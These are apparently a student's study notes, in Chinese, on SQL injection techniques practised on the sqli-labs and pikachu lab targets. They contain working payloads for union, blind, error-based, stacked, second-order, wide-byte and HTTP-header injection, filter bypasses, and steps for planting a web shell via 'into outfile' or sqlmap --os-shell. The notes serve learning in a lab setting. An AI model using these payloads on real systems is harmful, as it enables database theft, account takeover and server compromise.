学习笔记--SQL
day01 SQL注入
什么是SQL注入?
SQL是操作数据库的结构化查询语言,SQL注入就是攻击者通过SQL语言的拼接(用户的输入)来获取到被攻击网站或web应用程序的数据库服务器的数据或者在内进行提权。
我们所说的“存在注入点”就是指开发人员对用户的输入没有进行某方面的过滤或者cookie验证。
SQL注入的流程
1、判断是否有注入点
显错注入
参数后面加单引号,如果报错,就说明存在注入。
注:要根据注入点的类型来判断是否需要在整个参数中添加注释符和引号
以sqli-labs less1为例:
不显错的判断方法
在单引号and和or下都不报错时,也可能存在注入,由于服务器可能配置在参数错误时依然返回原有页面,这样即使存在注入页面也不会发生变化了。我们可利用页面返回时间来判断是否存在注入,如and if(1=0,1, sleep(10)),注意是否需要使用单引号或者注释符。不同的数据库有不同的延时函数,需要结合具体情况来使用
2、判断注入点的类型
通常来说,SQL注入漏洞分为三种类型:
数字型:参数就是数字,不用加单引号
字符型:需要单引号闭合
搜索型:一般出现在查询搜索处,like配合通配符
3、判断字段数目
利用order by来试出字段的数目
sqli-labs lesson2为例:
很显然有3个字段(order by 4报错 Unknown column ‘4’ in ‘order clause’ 说明没有第四个字段)
4、判断字段回显的位置
union拼接select 1,2,3(注意:前面的参数需要置为0或者负数以使前面语句不生效不影响后面拼接的语句的显示)
sqli-labs lesson2为例:
5、拼接SQL语句来查询相关信息或提权
version() 数据库版本号
database() 查询当前使用的数据库名
user() 查询数据库使用者
session_user() 连接数据库的用户名
current_user 当前用户名
load_file() 读取本地文件
@@datadir 读取数据库路径
@@basedir mysql安装路径
@@version_complie_os 查看操作系统
查询指定security数据库下的表名信息:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
查询指定user表下的列名信息:
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name = 'users' --+
补充
判断数据库类型
#判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+
#判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+
#判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+
防注入的解决办法(绕过):
1、将拼接的语句转换为URL编码形式
以sqli-labs less2为例:
原语句:
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,database(),version() -- -
URL编码后:
http://localhost/sqli-labs-master/Less-2/?id=-1 %75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%31%2C%64%61%74%61%62%61%73%65%28%29%2C%76%65%72%73%69%6F%6E%28%29%20%2D%2D%20%2D
2、将拼接的路径转换为hex十六进制编码
3、使用不同的形式的真假语句
典型的注入为:
’
’ and 1=1
’ and 1=2
有时候1=1或者1=2不行,就换一下:
“asssda" =“asssda”
1<2
or改成xor用异或来判断
day02
SQL注入的类型
- 最基础的注入-union注入攻击
判断属于get还是post型注入
根据SQL注入流程进行union拼接SQL语句
- Boolean注入攻击-布尔盲注
只存在两种状态:对或错
查看现象,能报错,但没有报错信息回显,正确查询也显示不了查询内容就属于布尔盲注
用于布尔盲注的一些函数:
Length() :函数 返回字符串的长度
Substr() :截取字符串
Ascii() :返回字符的ascii码
sleep(n) :将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3) :判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
以sqli-labs lesson8为例
输入http://localhost/sqli-labs-master/Less-8/?id=1
页面显示 You are in…
加引号无回显
初步可确定为布尔盲注,正确结果返回You are in… 错误无回显
用上面提到的函数可进行猜解。
python脚本进行爆破得:
- 报错注入攻击
只要是注入点有SQL报错信息的就都可以使用报错注入
用于报错注入的一些函数:
floor() 向下取整
rand() 0-1之间的随机数
利用XPath_string解析错误时回显报错信息:
1、 updatexml(XML_document,XPath_string,new_value)
2、 extractvalue(XML_document,XPath_string)
name_const 原理为列名重复,只有version()函数可使用
以sqli-labs lesson1 为例:
0x7E代表‘~“ ,使用updatexml函数报错注入获取数据库名
输入:
http://localhost/sqli-labs-master/Less-1/?id=-1'and(select updatexml(1,concat(0x7E,(select database()),0x7E),1)) --+
- 时间注入攻击-时间盲注
数据交互完成以后目标网站没有错误和正确的页面回显可以尝试使用时间盲注,和布尔盲注条件触发类似。
时间盲注基于两个关键的函数,if()和sleep()
以sqli-labs lesson 1为例:
输入:
http://172.21.130.143/sqli-labs-master/Less-1/?id=1' and if(length(database())>=8,sleep(5),1)--+
用bp可以看到看到页面响应时间5021毫秒>5s,说明执行了sleep(5),length(database())>=8成立
- 堆叠查询注入攻击
顾名思义,就是多条SQL语句叠加在一起执行;和union联合查询有相似之处,但也有明显的区别。union联合查询使用的SQL语句类型有限,但通过 ';'堆叠查询的SQL语句类型不会受到限制,可以是任意类型的SQL语句。
使用场景和布尔盲注、时间盲注一样。
缺点:
堆叠查询注入攻击的使用条件有限,可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库。函数支持执行多条sql语句时才能够使用
以sqli-labs lesson1为例:
输入
http://172.21.130.143/sqli-labs-master/Less-1/?id=1‘;select if(substr(user(),1,1)=‘r’,sleep(3),1)
- 二次注入攻击
所谓的二次注入攻击,就是攻击者在注入攻击时,由于特殊字符会被转义,于是将带有特殊字符的数据存储在了被攻击者的数据库中,该过程中数据库会将此数据当作正常的用户添加的数据。
该数据被攻击者查询并调用的时候,数据库不会进行进一步的核验和处理(转义特殊字符)于是产生了二次注入
以sqli-labs lesson24为例:
创建一个账号为amin‘#,密码为123456的账户
使用该账号登陆进去以后:
提示可以更改密码
我们知道,#在SQL语句中代表了注释,也就是说在admin’之后的语句都会被注释掉。
后台的源码是这样的:
UPDATE users SET passwd="New_Pass" WHERE username ='admin' # ' AND password='
可以知道我们这样修改的密码,其实是管理员账户admin的密码。
修改后退出admin’账户,输入管理员的账号和修改后的密码
登陆以后:
- 宽字节注入攻击
注入过程中,使用单引号(’)、双引号(")、星号(*)反斜杠(/)这些字符的时候被转义处理,使得我们的注入无法生效,就可以尝试使用宽字节注入攻击;
限制条件:宽字节注入攻击只能用于非英文编码的数据库。
以GBK编码为例,( \ )其实编码为%5C,我们可以在前面加上一个字符%df,GBK编码就为一个汉字,这样就可以达到消除 \ 转义字符的目的。
- base64注入攻击
可以在URL上来判断是否可使用base64注入攻击。(ID参数经过base64编码),我们使用base64编码的工具,将需要插入的SQL语句经过编码,按照SQL注入流程即可。
- cookie注入攻击-http请求头参数注入
cookie注入攻击是http请求头参数注入的一种类型,bp抓包,re通过在cookie参数后面加单引号,重新发送修改后的包,根据返回的是否报错来判断是否可以使用cookie注入。
以pikachu靶场的http头注入为例:
登陆账户(用户名和密码在点一下提示那里):
bp抓包并且修改User-Agent的值,在其后加单引号,显示报错,说明存在User-Agent注入点
同样,cookie注入:
用报错注入的方法,插入报错函数语句:
'or updatexml(1,concat(0x7E,(select database()),0x7E),1) --+
报出数据库名
- XFF注入攻击-http请求头参数注入
同上,但要抓到的包中含有XFF信息
X-Forwarded-For:127.0.0.1’ or updatexml(1,concat(0x7E,(select database()),0x7E),1) --+
常见的HTTP请求头注入参数:
【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】
- 知道绝对路径的注入
此处转载:https://www.cnblogs.com/-chenxs/p/11614129.html
如果通过一些方式爆出了网站的根目录,并且知道此站点存在sql注入;
猜测此数据库可能有file权限,那么我们就可以使用语句:into outfile 来写shell到网站的根目录下,之后用菜刀连接;
如果数据库没有file权限,那么我们用sqlmap的参数 --is-dba 来查看当前数据库的用户是否有管理员权限;
如果有管理员权限,我们就可以使用sqlmap里面的参数命令 --os-shell 来上传、反弹shell,最终getshell;
如果file、管理员权限都没有,那么另寻思路,日志、缓存写入等。